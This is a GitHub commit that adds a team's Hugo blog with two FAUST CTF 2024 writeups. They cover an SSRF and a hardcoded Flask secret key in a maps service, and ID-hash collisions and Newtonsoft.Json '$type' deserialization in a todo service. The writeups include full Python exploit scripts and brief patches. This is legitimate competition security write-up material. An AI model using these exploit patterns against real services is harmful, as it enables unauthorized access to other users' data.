Skip to content

Commit

Permalink
Added blog
Browse files Browse the repository at this point in the history
  • Loading branch information
Sijisu committed Oct 14, 2024
1 parent a19b979 commit 379f61a
Show file tree
Hide file tree
Showing 14 changed files with 351 additions and 0 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
public/
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[submodule "themes/PaperMod"]
path = themes/PaperMod
url = https://github.com/adityatelange/hugo-PaperMod.git
5 changes: 5 additions & 0 deletions archetypes/default.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
+++
title = '{{ replace .File.ContentBaseName "-" " " | title }}'
date = {{ .Date }}
draft = true
+++
162 changes: 162 additions & 0 deletions content/posts/faust2024-quickrmaps-writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,162 @@
---
title: "FAUST CTF 2024 QuickR Maps Writeup"
date: 2024-10-11T06:00:00+02:00
author: "Hackrrr"
tags: [ "writeups" ]
---

QuickR Maps service allows users to store and share locations on map. There are two instances hidden behind one frontend/proxy - public and private. Public instance shows all stored locations to everyone, private instace shows only locations accessible to you (that are either yours locations or locations explicitly shared with you).

## SSRF
Application had only one "frontend" which then handled to which instance/server will actually go. This is based on `server` GET parameter. Original logic for handling and validating looks like this (logic is basically same for every endpoint):
```py
@main.get('/api/locations')
def get_locations():
server_host = request.args.get('server')
server_url = f"http://{server_host}:4242/location/"
u = urlparse(server_url)
if u.hostname not in REGISTERED_PRIV_SERVERS + REGISTERED_PUB_SERVERS:
flash("Server not supported", "danger")
return redirect(url_for('main.add_location'))
# ...
requests.get(server_url, timeout=TIMEOUT)
# ...
```

This is quite obviously flawed - first URL is constructed from user supplied value (`server` parameter) and then this "new" URL is validated/parsed to check if it is one of allowed backend instances/servers. This allows us (= attackers) to send basically any request to any backed server if we supply "correct" value to `server` paramters (e.g. `private_loc:4242/some/backend/endpoint&x=` becomes `http://private_loc:4242/some/backend/endpoint` (assuming that `x` is ignored by backend server (which is))).

We can use this ability to share locations from another user to us on private instance:
```py
session.post(
f"http://[{host}]:4241/api/share",
data={
"server": f"private_loc:4242/share/{TARGET_USER}?receiver={OUR_USER_ID}&x=",
"receiver": OUR_USER_ID,
},
allow_redirects=False,
)
```

*Note: Same/Similar could be done also on other (frontend) endpoints (e.g. bulk add).*

Patch is *really quite simple*, just don't use `urlparse()` at all and check `server_host` validity directly. This patch needs to be done for every endpoint.

## Getting the flag
Vulnerability was (at least for me) actually the easy part... Extracting the flag was the hard/annoying part. One would thought that flag would be stored in descripton of some location but no. We were little confused when we found out that there is no flag in descriptions of stolen locations (from checker/flagID user). So we had a look at map of stolen locations and saw one dense area of points... and when we zoomed in we realized that it is a QR code (it requires a bit of cleanup by showing only oldest locations/points).

Fist flag we submitted manully just by taking our mobile phone, scanning it from screen and sending it to game server (sorry team Spain) just as sanity check that this is actully thing we need to do. And then I spent not exactly small amount of time trying to parse QR code in Pyhton (this was so painful, I tried several different libraries for QR code parsing until I found something that worked somehow):
```py
import zxingcpp
import numpy
from PIL import Image

# Get the locations (assuming we already somehow got valid `session`)
locs = session.get(f"http://[{host}]:4241/api/locations?server=private_loc").json()

# Keep only oldest locations
timestamp = min(x["timestamp"] for x in locs)
filtered = [x for x in locs if x["timestamp"] == timestamp]

# Creating a "grid" so we can than translate lat/long to x/y
lats = set()
longs = set()
for x in filtered:
lats.add(x["lat"])
longs.add(x["lon"])
lats = sorted(lats)
longs = sorted(longs)

# Create QR code image
img = Image.new(mode="RGB", size=(len(lats), len(longs)), color=(255, 255, 255))
for x in filtered:
img.putpixel((lats.index(x["lat"]), longs.index(x["lon"])), (0, 0, 0))

# Parse QR code
# This was the annoying part :)
cv_img = numpy.array(img.convert("RGB"))[:, :, ::-1].copy()
for x in zxingcpp.read_barcodes(cv_img):
print(x.text)
```

And so final exploit looks like this:
```py
#!/usr/bin/env python3

import json
import random
import string
import sys

import numpy
import requests
import zxingcpp
from PIL import Image

host = ...
flag_id = ... # = Target username

def randstr(
length: int, extra: str = "", chars: str = string.ascii_letters + string.digits
) -> str:
return "".join(random.choices(chars + extra, k=length))

# Random "checker looking" username
user = f"striker_guardian_{randstr(32, chars="0123456789abcdef")}"
password = randstr(32, chars="0123456789abcdef")

# Register
session = requests.Session()
session.post(
f"http://[{host}]:4241/register",
data={"agent_alias": user, "password": password},
allow_redirects=False,
)
# Login
r = session.post(
f"http://[{host}]:4241/login",
data={"agent_alias": user, "password": password},
)
# Getting our user ID
user_id = r.text.split('<div class="agent-id">ID: ', 1)[1].split("</div>", 1)[0]

# Exploit
session.post(
f"http://[{host}]:4241/api/share",
data={
"server": f"private_loc:4242/share/{flag_id}?receiver={user_id}&x=",
"receiver": user_id,
},
allow_redirects=False,
)

# Getting the flag
locs = session.get(f"http://[{host}]:4241/api/locations?server=private_loc").json()
timestamp = min(x["timestamp"] for x in locs)
filtered = [x for x in locs if x["timestamp"] == timestamp]

lats = set()
longs = set()
for x in filtered:
lats.add(x["lat"])
longs.add(x["lon"])
lats = sorted(lats)
longs = sorted(longs)

img = Image.new(mode="RGB", size=(len(lats), len(longs)), color=(255, 255, 255))
for x in filtered:
img.putpixel((lats.index(x["lat"]), longs.index(x["lon"])), (0, 0, 0))

cv_img = numpy.array(img.convert("RGB"))[:, :, ::-1].copy()
for x in zxingcpp.read_barcodes(cv_img):
print(x.text)
```

## Other way to the flag
There is also different "vulnerability". There is one specific line in `__init__.py`:
```py
app.config['SECRET_KEY'] = 'secret-key-goes-here'
```

We realized this like in half of whole A/D (and I'm being very optimistic here with this time) and so... well... yeah, ~~we~~ I'm dumb. :)

Anyway, you could use this key to then forge session as target user and just get its locations. Unfortunatelly we couldn't make it work as we stumbled upon some weird `flask-login` "internals"/problems that we weren't able to solve. Patch is trivial, just change key to something else.
144 changes: 144 additions & 0 deletions content/posts/faust2024-todolist-writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,144 @@
---
title: "FAUST CTF 2024 Todo List Writeup"
date: 2024-10-11T06:00:00+02:00
author: "Greenscreener"
tags: [ "writeups" ]
---
I participated in this years FAUST CTF, alongside the Czech ECSC team, incognito
with a fake team name: "Team Calabria". I managed to score first blood on one of
the services, this is the writeup.

An extremely feature-rich service written in C# (like srsly, why would you
implement 2FA for an A/D service and then never use it?). We identified two
different vulnerabilities, one based in the generation of user IDs and the other
one caused by an unsafe `Newtonsoft.Json` configuration. The one we found first
and was used for the first blood was the former.

## User ID vulnerability

There is a very wild looking function called `GetUserId`, which is used to
generate an ID that identifies the owner of a TODO. When a TODO is created, the
current user's ID is attached to it and only TODOs matching the current user's
ID are displayed.

The function generates this ID solely from the username and the algorithm to
generate this ID is however extremely bad and collisions can be created very
easily. The username is first lowercased (or uppercased if it is short), then
reversed, all vowels are replaced with asterisks, all asterisks are replaced
with ones and then it is finally reversed again. Each character of the resulting
string is then turned into a number by multiplying the character value by some
constant and the resulting numbers are summed together. The resulting sum is
then turned into a string and used as the ID.

This gives two opportunities for a collision:

1. The following characters: `aeiou*1` are all equivalent and can be freely
exchanged without changing the resulting user ID.
2. As the numbers are all summed at the end, all characters of the username can
be reordered freely.
3. (and generally any modification that is preserved in the sum, these are just
the most obvious)

The first exploit looked something like this:

```python
s = requests.session()
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text)
print("Got homepage")
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value"))
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={
"Input.Email": flag_id.replace("a", "1"),
"Input.Password": "NoNoNo1!",
"Input.ConfirmPassword": "NoNoNo1!",
"__RequestVerificationToken": veriftoken})
print("Registered")
flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text)
print(flagtext)
```

To make it more robust and resistant to trivial patches and fake flags, we then expanded it:

```python
password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40))

for c in "a1eioux":
username = flag_id
if c == "a":
username .join([shuf(s) for s in username.split("@")])
elif c == 'x':
username = 'admin.' + shuf(username.split("@")[0].split(".")[1]) + "@" + username.split("@")[1]
else:
username = flag_id.replace("a", c)
print(username)
s = requests.session()
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text)
print("Got homepage")
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={
"Input.Email": username,
"Input.Password": password,
"Input.ConfirmPassword": password,
"__RequestVerificationToken": veriftoken})
print("Registered")
flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text)
flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line])
if "FAUST_Q1" in flagtext:
print(flagtext)
return
flagtext = (s.get(f"http://[{host}]:8080/Todo/Export?format=json").text)
flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line])
if "FAUST_Q1" in flagtext:
print(flagtext)
return
```

## `TypeNameHandling` vulnerability

The second vulnerability leveraged the `TypeNameHandling` configuration option
of `Newtonsoft.Json`. This configuration option is
[bad](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json)
and is even discouraged by a
[code quality rule](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json)
(which isn't enabled by default though).

The option allows the attacker to include a `$type` property in a JSON object,
which then causes the `Newtonsoft` deserializer to deserialize it as any type
that is available in the current assembly. This poses an obvious code execution
vulnerability, as the attacker can call the constructor or property initializer
of any class. Conveniently, the `Filter` class automatically adds itself into
the database when it's initialized using its `QueryString` property and thus can
be used to add arbitrary filters into the database and we can create a filter
that shows us the TODOs of a different user.

```python
username = f"admin.{randstring(7)}@todo-list-{randstring(7)}.de"
password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40))

s = requests.session()
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text)
print("Got homepage")
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore
s.post(f"http://[{host}]:8080/Identity/Account/Register", data={
"Input.Email": username,
"Input.Password": password,
"Input.ConfirmPassword": password,
"__RequestVerificationToken": veriftoken})
print("Registered")
bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Login", timeout=2).text)
veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore
s.post(f"http://[{host}]:8080/Identity/Account/Login", data={
"Input.Email": username,
"Input.Password": password,
"__RequestVerificationToken": veriftoken})
print("Loggedin")
filtername = randstring(12)
s.post(f"http://[{host}]:8080/Todo/Import", files={"file": io.StringIO(json.dumps({
"$type": "service.Models.Filter, service",
"Id": 0,
"User": username,
"Name": filtername,
"QueryString": "{\"User\":\"" + flag_id + "\", \"Category\": \"\", \"FromTime\": -1, \"ToTime\": -1}",
}))})
flagtext = s.get(f"http://[{host}]:8080/Todo/ApplyFilter?name=" + filtername).text
print(flagtext)
```
34 changes: 34 additions & 0 deletions hugo.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
baseURL: https://czechcyberteam.github.io/
languageCode: en-us
title: Czech Cyber Team Blog
copyright: "CzechCyberTeam"
theme: ["PaperMod"]

enableInlineShortcodes: true
enableRobotsTXT: true
buildDrafts: false
buildFuture: false
buildExpired: false
enableEmoji: true
pygmentsUseClasses: true

assets.favicon: "static/favicon.ico"
label.icon: "static/apple-touch-icon.png"

params:
ShowFullTextinRSS: true
ShowCodeCopyButtons: true
keywords: ["Cybersecurity", "CTF", "ECSC", "Kybersoutěž", "CzechCyberTeam"]
defaultTheme: dark
homeInfoParams:
Title: Ahoj!
Content: We are The Czech Cyber Team. Young people with a passion for cybersecurity from Czechia. We are gathered around the Czech national [ECSC](https://ecsc.eu/) qualifier [Kybersoutěž](https://kybersoutez.cz). The Czech National Team going to ECSC is assembled from our members.
socialIcons: # optional
- name: "twitter"
url: "https://twitter.com/CzechCyberTeam"
ShowToc: true

outputs:
home:
- HTML
- RSS
Binary file added static/android-chrome-192x192.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/android-chrome-512x512.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/apple-touch-icon.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/favicon-16x16.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/favicon-32x32.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/favicon.ico
Binary file not shown.
1 change: 1 addition & 0 deletions static/site.webmanifest
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
1 change: 1 addition & 0 deletions themes/PaperMod
Submodule PaperMod added at a2eb47

0 comments on commit 379f61a

Please sign in to comment.